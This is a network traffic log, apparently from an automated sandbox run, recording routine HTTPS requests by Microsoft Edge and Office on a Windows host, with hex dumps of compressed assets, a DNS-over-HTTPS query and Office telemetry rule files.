2024-11-27 16:58:49 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:49 UTC	555	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:49 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e1bd38c5-801e-0032-6b7f-4030d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165849Z-174f7845968psccphC1EWRuz9s0000000xgg0000000075x5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:49 UTC	15829	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-27 16:58:50 UTC	16384	IN	Data Raw: c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db b1 Data Ascii: \|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-27 16:58:50 UTC	16384	IN	Data Raw: 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 1e Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-27 16:58:50 UTC	16384	IN	Data Raw: 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 7d Data Ascii: CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[}
2024-11-27 16:58:50 UTC	5226	IN	Data Raw: b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 c0 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49846	172.64.41.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:50 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165850Z-174f7845968psccphC1EWRuz9s0000000xbg00000000swyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165850Z-174f78459688l8rvhC1EWRtzr000000009pg00000000utbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:50 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:50 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165850Z-174f7845968xlwnmhC1EWR0sv80000000x2000000000a7zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:50 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:50 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 49dfce9c-f01e-00aa-0974-408521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165850Z-174f78459684bddphC1EWRbht40000000wzg000000008qt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:50 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:50 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165850Z-174f7845968nxc96hC1EWRspw80000000x1g00000000304p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49858	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:52 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:53 UTC	564	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:53 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165852Z-174f7845968xr5c2hC1EWRd0hn0000000e40000000005sws Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 16:58:53 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
